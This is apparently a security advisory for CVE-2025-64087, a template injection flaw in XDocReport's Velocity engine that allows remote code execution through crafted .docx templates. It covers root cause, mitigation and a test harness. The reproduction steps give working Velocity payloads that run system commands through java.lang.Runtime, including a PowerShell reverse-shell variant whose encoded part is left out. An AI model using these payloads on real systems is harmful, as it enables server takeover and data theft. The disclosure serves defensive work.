# CVE-2025-64087 (SSTI Velocity) EN # Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache Velocity engine ## Bug definition ### Overview * **Server-Side Template Injection (SSTI)** is a web security vulnerability that allows attackers to inject malicious code into templates used by content management systems (CMS) and web frameworks. Successful SSTI can enable remote code execution (RCE), sensitive data exposure, or system compromise. * SSTI is a variant of general *injection* vulnerabilities (like SQL Injection or XSS) where the attacker abuses template-processing functionality to execute arbitrary server-side code. If exploited, an attacker can run arbitrary commands on the server, exfiltrate sensitive data, escalate privileges, or access unauthorized resources. * SSTI typically occurs because a template engine is used insecurely (e.g., rendering untrusted templates without restrictions) or because inputs are not validated/sanitized before being embedded into templates. The impact of a successful SSTI can be severe. ### Business impact SSTI may cause several serious consequences: * **Remote code execution:** Attackers may execute arbitrary code on the host, leading to data theft, unauthorized actions, or full server compromise. * **Sensitive data disclosure:** Attackers may read, modify, or delete files on the host. If these files contain credentials or secrets, those can be exfiltrated. * **User-targeted attacks (phishing / content manipulation):** Attackers may change site content or insert fake UI elements to trick users into leaking credentials or installing malware. ## Severity: CRITICAL ![image](https://hackmd.io/_uploads/HkLUBcW-bg.png) --- ## Description and impact **Affected component:** `fr.opensagres.xdocreport.template.velocity` A **Server-Side Template Injection (SSTI)** vulnerability was discovered in OpenSAGRES **XDocReport** while processing `.docx` templates using the **Velocity** template engine. Under certain configurations, a crafted `.docx` template can lead to **Remote Code Execution (RCE)**. For example, a human resources or document management web application that allows users to upload `.docx` files may use XDocReport to render templates. If XDocReport processes user-supplied templates via Velocity without input controls or sandboxing, an attacker can embed malicious Velocity expressions into a `.docx` template which are evaluated on the server during rendering. This can result in RCE allowing data theft or full system takeover. --- ## Affected component / versions * `fr.opensagres.xdocreport.template.velocity` — **XDocReport versions ≤ 2.1.0** --- ## Root cause analysis Relevant file (example): `https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/ExtractVariablesVelocityVisitor.java` ![code snippet](https://hackmd.io/_uploads/HytQVd9Cgx.png) `velocityEngine.evaluate(...)` is the standard Apache Velocity method to evaluate a template from a `Reader` (or `String`) using a `Context` and writing output to a `Writer`. It executes Velocity Template Language (VTL) expressions, similar to `Template.merge(...)`. ### Practical difference between `evaluate()` and `Template.merge()` * `evaluate()`: parses templates from a `Reader`/`String` — convenient when templates are dynamic or untrusted. * `getTemplate(...).merge(...)`: loads templates via a resource loader (with caching/encoding) and then merges. Both evaluate VTL expressions in the same way; the key difference is how the template is loaded/exposed at runtime. Using `evaluate()` on untrusted input increases attack surface. --- ## Steps to reproduce 1. Upload a `.docx` file whose template content contains the following Velocity payload (example: executes `whoami`): ```velocity #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` Screenshot showing the payload in the template: ![payload screenshot](https://hackmd.io/_uploads/SkM0MQtRlx.png) Result after rendering (shows command output): ![whoami output](https://hackmd.io/_uploads/SJlyXQYRlx.png) ![whoami result image](https://hackmd.io/_uploads/Byh1mmY0xl.png) 2. Another payload to list a Windows drive (`cmd /c dir d:`): ```velocity #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` Screenshots: ![dir output 1](https://hackmd.io/_uploads/SkPpm7t0gl.png) ![dir output 2](https://hackmd.io/_uploads/ryfAmXYAel.png) ![dir output 3](https://hackmd.io/_uploads/ryR0m7FAee.png) 3. Example payload launching `calc`: ```velocity #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` Screenshots: ![calc payload example](https://hackmd.io/_uploads/S1Hf4XK0lx.png) ![calc result image](https://hackmd.io/_uploads/Byv-N7KCgl.png) 4. Escalating to remote command execution (reverse shell): * Attacker sets up a listener on WSL with IP `172.26.208.130`: ![listener screenshot](https://hackmd.io/_uploads/By1gvQYRll.png) * Example payload (base64 PowerShell payload used for reverse shell; base64 omitted here for readability — original payload used `powershell -e <Base64>`): ```velocity #set($x="abc") #set($str=$x.getClass().forName("java.lang.String")) #set($cha=$x.getClass().forName("java.lang.Character")) #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e <Base64 payload>")) $r.waitFor() #set($out=$r.getInputStream()) #set($result="") #foreach($i in [1..$out.available()]) #set($result = $result + $str.valueOf($cha.toChars($out.read()))) #end $result ``` After rendering the malicious `.docx` via XDocReport, the attacker captured a reverse shell on the listening host: ![reverse shell captured](https://hackmd.io/_uploads/rk4DEQY0ll.png) --- ## Solution / Mitigation To mitigate SSTI and prevent RCE in template rendering: * **Do not use `evaluate()` on untrusted templates.** Avoid evaluating raw template content uploaded by end users. * **Sandbox the template engine** or configure a restricted class resolver so templates cannot instantiate arbitrary classes (e.g., block `java.lang.Runtime`, `ProcessBuilder`, or access to JNDI). * **Validate and sanitize uploaded templates** before rendering (or refuse rendering of user-supplied templates). * **Apply least privilege**: run template rendering processes with minimal OS privileges, ideally in isolated containers. * **Upgrade to patched versions** once the vendor publishes a security fix. --- ## Debug / test environment **Example `Main.java` to reproduce (local test harness):** ```java package org.example; import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind; import java.io.*; public class Main { public static void main(String[] args) { try { // Input .docx that contains the Velocity expressions File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); InputStream input = new FileInputStream(docxTemplate); // Load the report using Velocity engine IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity); // Create an empty context (or populate if needed) IContext context = report.createContext(); // Output file OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx")); report.process(context, out); System.out.println("✅ Result file created successfully."); } catch (Exception e) { System.err.println("❌ Error while processing:"); e.printStackTrace(); } } } ``` **pom.xml dependencies used in the test environment:** ```xml <dependencies> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId> <version>2.1.0</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.xdocreport.document.docx</artifactId> <version>2.0.3</version> </dependency> </dependencies> ``` --- ## Source-to-sink debug trace The vulnerability is triggered during `report.process(context, out)` — this is the point where XDocReport initiates the template rendering pipeline that ultimately reaches `velocityEngine.evaluate(...)`, allowing untrusted expressions to execute. Relevant trace screenshots: ![trace 1](https://hackmd.io/_uploads/rkoHg_50xe.png) ![trace 2](https://hackmd.io/_uploads/SkqUe_qRle.png) ![trace 3](https://hackmd.io/_uploads/H19wx_5Cxx.png) ![trace 4](https://hackmd.io/_uploads/BJfue_cCex.png) ![trace 5](https://hackmd.io/_uploads/S1yKeO90ex.png) ![trace 6](https://hackmd.io/_uploads/rJOKxOqCxg.png) ![trace 7](https://hackmd.io/_uploads/S1ecx_50xx.png) ![trace 8](https://hackmd.io/_uploads/rktjeO90xe.png) ![trace 9](https://hackmd.io/_uploads/rJQnxd9Ree.png) ![trace 10](https://hackmd.io/_uploads/S1j3x_c0gx.png) ![trace 11](https://hackmd.io/_uploads/rkuI-u9Cel.png) ![trace 12](https://hackmd.io/_uploads/BJTFbu9Clg.png) ![trace 13](https://hackmd.io/_uploads/ByWEf_cRxx.png) ![trace 14](https://hackmd.io/_uploads/Hk1ofO50xx.png) ![trace 15](https://hackmd.io/_uploads/BypizO9Rgx.png)